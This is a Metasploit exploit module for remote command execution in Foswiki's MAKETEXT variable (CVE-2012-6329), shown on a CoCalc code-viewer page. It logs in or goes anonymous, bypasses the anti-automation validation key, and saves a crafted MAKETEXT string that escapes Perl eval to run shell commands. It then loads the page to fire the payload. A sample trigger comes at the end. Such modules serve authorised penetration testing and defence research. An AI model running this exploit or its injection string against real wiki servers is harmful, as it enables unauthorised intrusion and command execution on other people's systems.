CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/foswiki_maketext.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Foswiki MAKETEXT Remote Command Execution',
14
'Description' => %q{
15
This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using
16
a specially crafted MAKETEXT, a malicious user can execute shell commands since the
17
input is passed to the Perl "eval" command without first being sanitized. The
18
problem is caused by an underlying security issue in the CPAN:Locale::Maketext
19
module. Only Foswiki sites that have user interface localization enabled
20
(UserInterfaceInternationalisation variable set) are vulnerable.
21
22
If USERNAME and PASSWORD aren't provided, anonymous access will be tried.
23
Also, if the FoswikiPage option isn't provided, the module will try to create a
24
random page on the SandBox space. The modules has been tested successfully on
25
Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.
26
},
27
'Author' =>
28
[
29
'Brian Carlson', # original discovery in Perl Locale::Maketext
30
'juan vazquez' # Metasploit module
31
],
32
'License' => MSF_LICENSE,
33
'References' =>
34
[
35
[ 'CVE', '2012-6329' ],
36
[ 'OSVDB', '88410' ],
37
[ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ]
38
],
39
'Privileged' => false, # web server context
40
'Payload' =>
41
{
42
'DisableNops' => true,
43
'Space' => 1024,
44
'Compat' =>
45
{
46
'PayloadType' => 'cmd',
47
'RequiredCmd' => 'generic ruby python telnet'
48
}
49
},
50
'Platform' => [ 'unix' ],
51
'Arch' => ARCH_CMD,
52
'Targets' => [[ 'Foswiki 1.1.5', { }]],
53
'DisclosureDate' => '2012-12-03',
54
'DefaultTarget' => 0))
55
56
register_options(
57
[
58
OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]),
59
OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
60
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
61
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
62
])
63
end
64
65
def post_auth?
66
true
67
end
68
69
def do_login(username, password)
70
res = send_request_cgi({
71
'method' => 'POST',
72
'uri' => "#{@base}bin/login",
73
'vars_post' =>
74
{
75
'username' => username,
76
'password' => password
77
}
78
})
79
80
if not res or res.code != 302 or res.get_cookies !~ /FOSWIKISID=([0-9a-f]*)/
81
vprint_status "#{res.code}\n#{res.body}"
82
return nil
83
end
84
85
session = $1
86
return session
87
end
88
89
def inject_code(session, code)
90
91
vprint_status("Retrieving the validation_key...")
92
93
res = send_request_cgi({
94
'uri' => "#{@base}bin/edit#{@page}",
95
'cookie' => "FOSWIKISID=#{session}"
96
})
97
98
if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/
99
vprint_error("Error retrieving the validation_key")
100
return nil
101
end
102
103
validation_key = $1
104
vprint_good("validation_key found: #{validation_key}")
105
106
if session.empty?
107
if res.get_cookies =~ /FOSWIKISID=([0-9a-f]*)/
108
session = $1
109
else
110
vprint_error("Error using anonymous access")
111
return nil
112
end
113
end
114
115
if res.get_cookies =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/
116
strike_one = $1
117
else
118
vprint_error("Error getting the FOSWIKISTRIKEONE value")
119
return nil
120
end
121
122
# Transforming validation_key in order to bypass foswiki antiautomation
123
validation_key = Rex::Text.md5(validation_key + strike_one)
124
vprint_status("Transformed validation key: #{validation_key}")
125
vprint_status("Injecting the payload...")
126
127
res = send_request_cgi({
128
'method' => 'POST',
129
'uri' => "#{@base}bin/save#{@page}",
130
'cookie' => "FOSWIKISID=#{session}",
131
'vars_post' =>
132
{
133
'validation_key' => validation_key,
134
'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
135
}
136
137
})
138
139
if not res or res.code != 302 or res.headers['Location'] !~ /bin\/view#{@page}/
140
print_warning("Error injecting the payload")
141
print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
142
return nil
143
end
144
145
location = URI(res.headers['Location']).path
146
print_good("Payload injected on #{location}")
147
148
return location
149
end
150
151
def check
152
@base = target_uri.path
153
@base << '/' if @base[-1, 1] != '/'
154
155
res = send_request_cgi({
156
'uri' => "#{@base}System/WebHome"
157
})
158
159
if not res or res.code != 200
160
return Exploit::CheckCode::Unknown
161
end
162
163
if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/
164
version = $1
165
print_status("Version found: #{version}")
166
if version <= "1.1.6"
167
return Exploit::CheckCode::Appears
168
else
169
return Exploit::CheckCode::Detected
170
end
171
end
172
173
return Exploit::CheckCode::Safe
174
end
175
176
177
def exploit
178
179
# Init variables
180
@page = ''
181
182
if datastore['FoswikiPage'] and not datastore['FoswikiPage'].empty?
183
@page << '/' if datastore['FoswikiPage'][0] != '/'
184
@page << datastore['FoswikiPage']
185
else
186
@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
187
end
188
189
@base = target_uri.path
190
@base << '/' if @base[-1, 1] != '/'
191
192
# Login if needed
193
if (datastore['USERNAME'] and
194
not datastore['USERNAME'].empty? and
195
datastore['PASSWORD'] and
196
not datastore['PASSWORD'].empty?)
197
print_status("Trying login to get session ID...")
198
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
199
else
200
print_status("Using anonymous access...")
201
session = ""
202
end
203
204
if not session
205
fail_with(Failure::Unknown, "Error getting a session ID")
206
end
207
208
# Inject payload
209
print_status("Trying to inject the payload on #{@page}...")
210
res = inject_code(session, payload.encoded)
211
if not res or res !~ /#{@page}/
212
fail_with(Failure::Unknown, "Error injecting the payload")
213
end
214
215
# Execute payload
216
print_status("Executing the payload through #{@page}...")
217
res = send_request_cgi({
218
'uri' => "#{@base}#{@page}",
219
'cookie' => "FOSWIKISID=#{session}"
220
})
221
if not res or res.code != 200 or res.body !~ /HASH/
222
print_status("#{res.code}\n#{res.body}")
223
fail_with(Failure::Unknown, "Error executing the payload")
224
end
225
226
print_good("Exploitation was successful")
227
228
end
229
end
230
231
=begin
232
233
* Trigger:
234
235
%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%
236
237
=end
238
239
240